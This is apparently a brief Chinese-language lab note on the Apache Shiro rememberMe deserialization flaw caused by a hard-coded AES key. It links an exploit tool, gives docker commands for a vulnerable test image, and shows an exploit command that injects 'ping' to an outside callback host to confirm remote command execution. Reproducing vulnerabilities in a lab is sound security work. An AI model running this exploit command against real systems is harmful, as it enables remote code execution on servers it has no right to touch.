介紹:Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。
漏洞原因:因為shiro對cookie里的rememberme字段進行了反序列化,所以如果知道了shiro的編碼方式,然后將惡意命令用它的編碼方式進行編碼並放在http頭的cookie里,在shiro對提交的cookie的rememberme字段進行反序列化時,也就執行了插入的命令,最終造成了命令執行
shiro默認使用了CookieRememberMeManager,其處理cookie的流程是:得到rememberMe的cookie值-->Base64解碼-->AES解密-->反序列化
然而AES的密鑰是硬編碼的,就導致了攻擊者可以構造惡意數據造成反序列化的RCE漏洞。
漏洞驗證:
漏洞利用:
利用工具:https://github.com/sv3nbeast/ShiroScan
如果沒有該鏡像的話可以去在docker里面拉取環境docker pull medicean/vulapps:s_shiro_1
,已經有人准備好了的
1、sudo docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
2、python shiro_rce.py http://192.168.1.143 "ping 0wtpsg.ceye.io"
參考文章:https://www.t00ls.net/viewthread.php?tid=52744&highlight=shiro